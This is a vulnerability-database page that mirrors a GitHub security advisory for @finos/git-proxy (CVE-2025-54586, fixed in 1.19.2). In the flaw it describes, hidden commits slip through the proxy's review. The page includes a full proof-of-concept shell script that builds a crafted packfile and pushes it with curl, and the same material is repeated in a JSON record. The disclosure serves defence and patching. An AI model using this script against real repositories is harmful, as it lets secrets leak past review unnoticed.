GHSA-V98G-8RQX-G93G

Vulnerability from github – Published: 2025-07-30 16:40 – Updated: 2025-07-31 12:02
VLAI?
Summary
GitProxy Hidden Commits Injection
Details

Summary

An attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality.

Details

The proxy currently trusts only the ref‑update line (oldOid → newOid) and doesn't inspect the packfile’s contents

Because the code only runs git rev-list oldOid..newOid to compute introducedCommits but never checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. Screenshot 2025-07-16 at 12 29 19

PoC

Prerequisites

  • A GitHub Personal Access Token stored in ~/.github-test-pat.
  • A test repository also registered in git-proxy, e.g. your-org/test-repo.git, to which you have push rights.

1. Prepare the “visible” and “hidden” commits

# Clone the test repository
git clone http://localhost:8000/your-org/test-repo.git
cd test-repo

# 1. Record the original HEAD
ORIG_COMMIT=$(git rev-parse HEAD)

# 2. Create branch 'foo' and add a visible commit
git checkout -b foo
echo "visible commit" >> file.txt
git add file.txt
git commit -m "Visible commit"
VISIBLE_COMMIT=$(git rev-parse HEAD)

# 3. Go back to the original commit and create a hidden-branch
git checkout $ORIG_COMMIT
git checkout -b hidden-branch
echo "hidden change" > hidden.txt
git add hidden.txt
git commit -m "Hidden commit"
HIDDEN_COMMIT=$(git rev-parse HEAD)

# Return to 'foo'
git checkout foo

2. Push only the visible commit to branch foo

git push --set-upstream origin foo
# An authorized user approves this push via your normal review workflow

3. Build and push a pack containing the hidden commit

Create a script named upload-pack.sh (replace the placeholder variables with the SHAs you recorded above):

#!/usr/bin/env bash
REMOTE_URL="http://localhost:8000/your-org/test-repo.git"
REF_NAME="refs/heads/foo"
ORIG_COMMIT="<<ORIG_COMMIT>>"
NEW_COMMIT="<<VISIBLE_COMMIT>>"
OLD_COMMIT="0000000000000000000000000000000000000000"
HIDDEN_COMMIT="<<HIDDEN_COMMIT>>"

# 1. List all objects for the visible and hidden commits
git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${NEW_COMMIT} > objects.txt
git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${HIDDEN_COMMIT} >> objects.txt

# 2. Pack them into a single packfile
cat objects.txt
git pack-objects --stdout < objects.txt > packfile

# 3. Construct the Git smart‑protocol update header
printf "${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5" > update_line
UPDATE_LINE_LEN="$(wc -c < update_line)"

printf "%04x" $((UPDATE_LINE_LEN + 4)) > output
cat update_line >> output

# Git smart protocol expects a flush packet
PKT_FLUSH="0000"
printf "%s" "${PKT_FLUSH}" >> output

# Append the packfile
cat packfile >> output

# 4. Send the malicious push via curl
curl -u ${USER}:"$(<~/.github-test-pat)" \
  -X POST "${REMOTE_URL}/git-receive-pack" \
  -H "Content-Type: application/x-git-receive-pack-request" \
  -H "Accept: application/x-git-receive-pack-result" \
  --user-agent "git/2.42.0" \
  --data-binary @output | cat -v

Make it executable:

chmod +x upload-pack.sh

Run it:

./upload-pack.sh

4. Verify the hidden commit

Open in your browser (or via curl):

https://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>>

You will see the “Hidden commit”, even though it is not referenced by any branch.

Impact

  • Data Exfiltration (Confidentiality breach):
    Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy.

  • Undetectable in UI:
    Since the hidden commits never appear in branch graphs, standard code review will not surface them.

  • Persistence Window:
    GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@finos/git-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-30T16:40:40Z",
    "nvd_published_at": "2025-07-30T22:15:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker can inject extra commits into the pack sent to GitHub, commits that aren\u2019t pointed to by any branch. Although these \u201chidden\u201d commits never show up in the repository\u2019s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High\u2011impact vulnerability because it completely compromises repository confidentiality.\n\n### Details\n\nThe proxy currently trusts only the ref\u2011update line (`oldOid \u2192 newOid`) and doesn\u0027t inspect the packfile\u2019s contents\n\nBecause the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those \u201chidden\u201d commits won\u2019t be pointed to by any branch but GitHub still stores and serves them by SHA. \n\u003cimg width=\"2556\" height=\"744\" alt=\"Screenshot 2025-07-16 at 12 29 19\" src=\"https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790\" /\u003e\n\n### PoC\n\n#### Prerequisites\n\n-   A GitHub Personal Access Token stored in `~/.github-test-pat`.\n-   A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights.\n\n#### 1. Prepare the \u201cvisible\u201d and \u201chidden\u201d commits\n\n```bash\n# Clone the test repository\ngit clone http://localhost:8000/your-org/test-repo.git\ncd test-repo\n\n# 1. Record the original HEAD\nORIG_COMMIT=$(git rev-parse HEAD)\n\n# 2. Create branch \u0027foo\u0027 and add a visible commit\ngit checkout -b foo\necho \"visible commit\" \u003e\u003e file.txt\ngit add file.txt\ngit commit -m \"Visible commit\"\nVISIBLE_COMMIT=$(git rev-parse HEAD)\n\n# 3. Go back to the original commit and create a hidden-branch\ngit checkout $ORIG_COMMIT\ngit checkout -b hidden-branch\necho \"hidden change\" \u003e hidden.txt\ngit add hidden.txt\ngit commit -m \"Hidden commit\"\nHIDDEN_COMMIT=$(git rev-parse HEAD)\n\n# Return to \u0027foo\u0027\ngit checkout foo\n```\n\n#### 2. Push only the visible commit to branch `foo`\n\n```bash\ngit push --set-upstream origin foo\n# An authorized user approves this push via your normal review workflow\n```\n\n#### 3. Build and push a pack containing the hidden commit\n\nCreate a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above):\n\n```bash\n#!/usr/bin/env bash\nREMOTE_URL=\"http://localhost:8000/your-org/test-repo.git\"\nREF_NAME=\"refs/heads/foo\"\nORIG_COMMIT=\"\u003c\u003cORIG_COMMIT\u003e\u003e\"\nNEW_COMMIT=\"\u003c\u003cVISIBLE_COMMIT\u003e\u003e\"\nOLD_COMMIT=\"0000000000000000000000000000000000000000\"\nHIDDEN_COMMIT=\"\u003c\u003cHIDDEN_COMMIT\u003e\u003e\"\n\n# 1. List all objects for the visible and hidden commits\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${NEW_COMMIT} \u003e objects.txt\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${HIDDEN_COMMIT} \u003e\u003e objects.txt\n\n# 2. Pack them into a single packfile\ncat objects.txt\ngit pack-objects --stdout \u003c objects.txt \u003e packfile\n\n# 3. Construct the Git smart\u2011protocol update header\nprintf \"${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5\" \u003e update_line\nUPDATE_LINE_LEN=\"$(wc -c \u003c update_line)\"\n\nprintf \"%04x\" $((UPDATE_LINE_LEN + 4)) \u003e output\ncat update_line \u003e\u003e output\n\n# Git smart protocol expects a flush packet\nPKT_FLUSH=\"0000\"\nprintf \"%s\" \"${PKT_FLUSH}\" \u003e\u003e output\n\n# Append the packfile\ncat packfile \u003e\u003e output\n\n# 4. Send the malicious push via curl\ncurl -u ${USER}:\"$(\u003c~/.github-test-pat)\" \\\n  -X POST \"${REMOTE_URL}/git-receive-pack\" \\\n  -H \"Content-Type: application/x-git-receive-pack-request\" \\\n  -H \"Accept: application/x-git-receive-pack-result\" \\\n  --user-agent \"git/2.42.0\" \\\n  --data-binary @output | cat -v\n```\n\nMake it executable:\n\n```bash\nchmod +x upload-pack.sh\n```\n\nRun it:\n\n```bash\n./upload-pack.sh\n```\n\n#### 4. Verify the hidden commit\n\nOpen in your browser (or via `curl`):\n\n```\nhttps://github.com/your-org/test-repo/commit/\u003c\u003cHIDDEN_COMMIT\u003e\u003e\n```\n\nYou will see the **\u201cHidden commit\u201d**, even though it is not referenced by any branch.\n\n### Impact\n- **Data Exfiltration (Confidentiality breach):**  \n  Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy.\n\n- **Undetectable in UI:**  \n  Since the hidden commits never appear in branch graphs, standard code review will not surface them.\n\n- **Persistence Window:**  \n  GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage\u2011collecting them.",
  "id": "GHSA-v98g-8rqx-g93g",
  "modified": "2025-07-31T12:02:22Z",
  "published": "2025-07-30T16:40:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/finos/git-proxy/security/advisories/GHSA-v98g-8rqx-g93g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/finos/git-proxy/commit/9c1449f4ec37d2d1f3edf4328bc3757e8dba2110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/finos/git-proxy/commit/a620a2f33c39c78e01783a274580bf822af3cc3a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/finos/git-proxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/finos/git-proxy/releases/tag/v1.19.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitProxy Hidden Commits Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…